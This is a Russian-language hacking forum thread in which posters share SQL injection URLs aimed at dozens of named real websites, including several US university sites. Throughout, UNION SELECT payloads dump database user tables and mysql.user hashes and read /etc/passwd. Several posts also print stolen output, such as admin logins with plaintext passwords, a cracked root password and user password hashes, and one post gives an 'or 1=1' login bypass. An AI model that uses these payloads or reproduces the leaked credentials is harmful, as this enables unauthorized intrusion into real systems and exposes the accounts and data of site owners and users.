SQL-инъекции

Код:

http://www.muskoka.ambulance.ca/articleshow.php?article=-1+UNION+SELECT+1,convert(version(),binary),3,4,5,6,convert(user(),binary)/*

4.1.16
masnews@localhost
Фильтрует скобку

 

Код:

http://alan-z.ru/news.php?id=-1+union+select+0,1,2,aes_decrypt(aes_encrypt(concat_ws(char(58),user,password),0x73),0x73),4+from+mysql.user+limit+0,1/*

Код:

http://alan-z.ru/news.php?id=-1+union+select+0,1,2,aes_decrypt(aes_encrypt(load_file(0x2F6574632F706173737764),0x73),0x73),4+from+mysql.user+limit+0,1/*

 

Код:

http://www.cyclingnorthumbria.co.uk/pages/newscontent.php?ID=-1+union+select+1,version(),3,Table_name+from+information_schema.tables/*

Версия 5.0.45-community есть доступ к Information.schema.tables и .columns

 

Код:

http://www.arendator.ru/show_tc.php?id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85/*

Добавлено через 25 минут

Код:

http://vrnnews.ru/gobanner.php?id=-1+union+select+aes_decrypt(aes_encrypt(concat_ws(char(58),id,m_sLogin,m_sPass,m_iMoney,m_iLevel,m_sEmail,m_sWebMoney),0x73),0x73),1+from+users+limit+0,1/*

вот тут ппц скуль(

Добавлено через 1 час 51 минуту

Код:

http://www.rabota-voronezh.info/linkvac.php?link=-1+union+select+0,1,2,3,4,5,concat_ws(char(58),ID,pass,email,ip,hidemail,code,status),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+users+limit+0,1/*

Код:

http://www.rabota-voronezh.info/linkvac.php?link=-1+union+select+0,1,2,3,4,5,concat_ws(char(58),ID,pass),7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26+from+adminip+limit+0,1/*

Добавлено через 2 часа 48 минут

Код:

http://maximumradio.ru/?news=-1+union+select+0,1,2,3,4/*

Добавлено через 2 часа 55 минут

Код:

http://www.gubernia-tnt.ru/index.php?id=-1+union+select+0,1,2,3,concat_ws(char(58),ID_MEMBER,memberName,passwd,emailAddress),5+from+smf_members+limit+0,1/*

 

Код:

http://wap.inter.ua/ru/utf/about/news/?id=-1+union+select+0,1,2,aes_decrypt(aes_encrypt(concat_ws(char(58),name,password,email),0x73),0x73)+from+forum_user+limit+0,1/*

Добавлено через 25 минут

Код:

http://www.ont.by/index.php?id_project=-1+union+select+0,1,2,3/*

Добавлено через 1 час 58 минут

Код:

http://kam4atkashop.ru/catalog/?sid=9&action=tovar_view&id=-1+union+select+0,1,2,3,concat_ws(char(58),user_id,user_login,user_password,user_mail),5,6,7,8,9,10,11,12,13,14,15,16+from+users/*

 

SQl-injections в edu-сайтах, может кто раскрутит:

/etc/passwd:

Код:

http://www.gavilan.edu/pio/pressrelease.php?pr=0%20union%20select%201,2,load_file(char(47,101,116,99,47,112,97,115,115,119,100))/*

/etc/passwd:

Код:

http://crca.ucsd.edu/views.php?id=0%20union%20select%201231,1232,load_file('/etc/passwd')/*

/etc/passwd:

Код:

http://lapa.princeton.edu/peopledetail.php?ID=0%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,load_file(char(47,101,116,99,47,112,97,115,115,119,100)),20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39%20from%20mysql.user/*

/etc/passwd:

Код:

http://www.eng.wayne.edu/page.php?id=1505%20union%20select%201231,cast(load_file(char(47,101,116,99,47,112,97,115,115,119,100))%20as%20binary),1233,1234,1235,1236%20from%20users/*

Код:

http://alumni.wayne.edu/news.php?id=0%20union%20select%201231,1232,1233,1234,load_file('C:\\boot.ini'),1236%20from%20mysql.user/*

Код:

http://affect.media.mit.edu/projects.php?id=0%20union%20select%201,2,3,concat(user,0x3a,password),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22%20from%20mysql.user/*

В загружаемом файле результат SQL-запроса:

Код:

http://agi.harvard.edu/events/download.php?id=0 union select 1,user(),3,123,5,6,7,8,9,10,11,12,13,14,15,16/*

Код:

http://www.gradschool.cornell.edu/index.php?p=0%20union%20select%201231,1232,'test',1234,1235,1236,1237,0,0,0,0,0/*

Код:

http://newmedia.cdws.ucf.edu/pressBoxArticle.php?id=0'%20union%20select%201,2,3,user(),5/*

Код:

http://www.utdallas.edu/calendar/event.php?id=0%20union%20select%200,0,0,0,0,0,0,0,'testhello',0,0,0,0/*

Код:

http://www.williams.edu/athletics/news.php?id=0'%20union%20select%201,2,3,4,user(),6,7,8/*

Код:

http://www2.ric.edu/news/displayNews.php?id=news-0+union+select+1,2,concat(user,0x3a,password),4,5,6%20from%20mysql.user/*

 

Warning: array_reverse(): The argument should be an array in d:\usr\new\diogenes\template\string.php on line 41

Warning: implode(): Bad arguments. in d:\usr\new\diogenes\template\string.php on line 42

PHP:

http://medbook.medicina.ru/chapter.php?id_level=-423

 

Код:

http://www.rolemancer.ru/article.php?sid=-1+union+select+0,1,2,3,4,aes_decrypt(aes_encrypt(concat_ws(char(58),uid,uname,pass,email,user_icq),0x73),0x73),6,7,8,9,10+from+users+where+uname=0x434D45525449+limit+0,1/*

 

Megashara

Код:

http://megashara.com/item.php?tid=-1'%20union%20select%201,2,3,4,5,6,7,8,user,10,11,12,13,14,15,16,17,18,19,20,21,22,password,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38%20from%20mysql.user/*

Таблица mysql.user Доступна
root:*111921C1B9EE2D4BD4C825031689DCD63239883F
После расшифровки root: ghjcnjgfhjkm

Админку не нашёл.
З.Ы странно после нахождения скули сайт глючить стал

 

Код:

http://www.aromaclub.ru/index.php?pd=4&t=-1+union+select+0,1,concat_ws(char(58),user_id,username,user_password,user_email,user_icq),3,4,5,6,7,8+from+phpbbs_users+where+username=0xC0E4ECE8ED+limit+0,1/*

 

Всего то одинарная кавычка)

PHP:

http://www.radiotec.ru/catalog.php?cat=jr4'

// Во-первых, скуль нужно выкладывать как минимум с подобранными полями...во-вторых в Вашем случае скули нет...просто ошибка...если не прав, попробуйте переубедить. (с) Koller

 

Код:

http://group-ussr.com/index.php?mode=news_comment&pg_mode=show&id=-1+union+select+1,2,3,4,5,6,7/*

На MySQL

Код:

http://pornoshara.com/item.php?tid=-1'%20union%20select%201,2,3,4,5,6,7,8,concat(user,char(58),password),10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28%20from%20mysql.user/*

root:*111921C1B9EE2D4BD4C825031689DCD63239883F

На юзеров.

Код:

http://pornoshara.com/item.php?tid=-1'%20union%20select%201,2,3,4,5,6,7,8,concat(login,char(58),password),10,11,12,13,14,15,16,17,18,19,20,21,22,7,24,25,26,27,28%20from%20users%20LIMIT%202,2/*

Genadij25:5a61de6b2e94ff2531aaa618b9e4b51b

 

Код:

http://www.surcon.ru/pages.php?id=13+union+select+1,concat_ws(0x2F,vers  ion(),user(),database()),concat_ws(0x2F,login,pass  word,id),4,5+from+users/*

Данные: 4.0.25-standard/vodos68_admin@web2.100mb.net/vodos68_surcon

Админки

Login: admin | Password: 1222appex
Login: seva | Password: 123456
Login: sdg34 | Password: 123542

Добавлено через 1 минуту

Код:

http://www.shark.ru/page.php?id=-16+union+select+1,2,convert(concat(load_file(0x2f6574632f706173737764)),binary),concat_ws(0x2F,user(),version(),database()),5,6,7,8,9,10+from+mysql.user/*

Данные: root@localhost/4.0.22-standard/sharkid

root*

 

Код:

http://michaelyoun.com/index.php?id=335+union+select+1,concat(login,0x7c,pass),3,4,5,concat_ws(0x2F,version(),user(),database())+from+users+limit+3,3//*

Version : 4.0.17-standard/michael132576@bfb1.hotchilli.net/michael132576

login | Password

Julien | $hAiaSOWw$L.ElrCaZddSXNbczXLln..

neel | $NT1HKLs6$maKjAm5gOFUdNwVnPKDed0

david | $CkfkJS1m$R0Wm0U9U.SewH1gZPqYOS.

marcoa | $zRtxrrzF$x9QdtdsEoDw47todoerT30

DavidHill | $/jrBGNbU$lneMqAV.Nwsk8bYXxsqLb.

Pascal | $tUYKyzOrNMdHIM2AsIYpf9ZnvgYc0

francoisadmin | $GaZJk4Aq$lGLp3Qc7ah45PioM9Mknl/

aroustan | $WXSFA3Ry$H2sDLkEXsCKHpXYIO9hnV/

jcharron | {left}NGNegUI$o4Uub83kCAKzLHetW7UBp.

roussot | $K1e9J0lz$A8trNdKNnQQwyrsNIJy7N.

 

Код:

http://www.heroesworld.ru/files.php?section=9999999'+union+select+1,concat_ws(0x2F,user(),version()%20%20,database())/*

heroesv_bdu@localhost/4.1.20/heroesv_main
Работает только с 9999999.

 

Агентство недвижимости «ИНСАЙД НОРД ВЕСТ»

Код:

http://www.i-nw.ru/news.php?id=9999+union+select+1,version(),3,4,concat(login,char(58),password),6,7+from+users/*

Version 4.1.20-log/dbu_insidenw_1@192.168.5.21/db_insidenw_1

Admins

secretar:123
luoman:12345
fin:f2inw

Добавлено через 20 минут

Код:

http://www.roguegovernment.com/news.php?id=-4682+union+select+1,version(),aes_decrypt(aes_encrypt(concat(user,0x3a,password),0x3a),0x3a),4,5,6+from+mysql.user/*

Version root@localhost/4.1.7/roguegovernment

Admins:

root:6aee13f5467031e6

Код:

http://www.getsalt.com/news.php?id=-117+union+select+1,2,concat_ws(0x2F,version(),user(),database()),4,5,6,concat_ws(char(58,58),username,password,id),8,9,10,11,12+from+fb_users+limit+3,3/*

Данные : 5.0.22-log/getsalt@localhost/getsalt

Admins:
Login Password ID

Anneleen test123 2
kikivreeling vre27kik 19

 

Код:

http://www.ihrc.org.uk/show.php?id=-2910%20union%20select%201,2,version(),user(),database(),6,7,8,9,0,1,2,3--

 

Ultimate Frisbee

Код:

http://www.ultimate.com.ua/ru/?g=manual&id=-1+union+select+1,2,3,4,5,version()/*

5.0.27-log

Код:

http://www.ultimate.com.ua/ru/?g=manual&id=-1+union+select+1,2,3,4,5,Table_name+from+information_schema.tables/*

есть доступ к information_schema.tables

интересные таблицы
admins
news
ULTM_players
players

 

Код:

http://www.studinter.ru/?go=news&act=det&nid=-1+union+select+0,concat_ws(char(58),id,passwd,email),2,3,4,5+from+client_list+limit+0,1/*

Добавлено через 17 минут

Код:

http://www.ed.vseved.ru/higher-school-russia/education-article.php3?pt=text&stat_id=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11/*

Добавлено через 28 минут

Код:

http://www.ed.vseved.ru/higher-school-russia/education-article.php3?pt=text&stat_id=-1+union+select+0,1,2,concat_ws(char(58),user,password),4,5,6,7,8,9,10,11+from+mysql.user/*

Добавлено через 1 час 2 минуты

Код:

http://www.edworld.ru/?id_refer=2&age=3&type=6&land=3&scool=-1+union+select+0,1,2,3,4,5,6/*

Код:

http://www.dec-edu.com/admin

тут введем

Код:

test' or 1=1/*

Добавлено через 2 часа 35 минут

Код:

http://www.npfo.ru/index.php?a=show_news&id=-1+union+select+0,1,2,3,4,5,6/*&pid=11

Код:

http://www.studyguide.ru/library.php?id=63'+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13,14/*

Добавлено через 2 часа 47 минут

Код:

http://edu.rin.ru/cgi-bin/article.pl?ids=2&id=-1'+union+select+0,1,2,3,4,5,6,7/*

Добавлено через 19 часов 13 минут

Код:

http://www.iran.ru/rus/news_iran.php?act=news_by_id&_n=1&news_id=-1+union+select+0,aes_decrypt(aes_encrypt(user(),0x73),0x73),2,3,4,5,6,7/*

Добавлено через 19 часов 28 минут

Код:

http://www.nsu.ru/dynamic/news/news_view.php?news_mode=single&news_user=user&news_action=view&news_id=-1+union+select+0,1,2,3,4,5,6,7/*

Добавлено через 19 часов 54 минуты

Код:

http://numen.ru/index.php?section=library&text=-1+union+select+0,1,2,3,4,5,6,7,8/*&page=1

Добавлено через 21 час 21 минуту

Код:

http://www.sportfinder.ru/show_sites.php?query_type=-1+union+select+0,1,2,3,4,5,6,7,8,9,10,11,12,13/*

 

Код:

http://www.recado.ru/index.php?id=-1+union+select+0,1,concat_ws(char(58),id,username,pwdhash,technical_email,access_level,cp_access,ip)+from+constant_newpodarok.wm_users+limit+0,1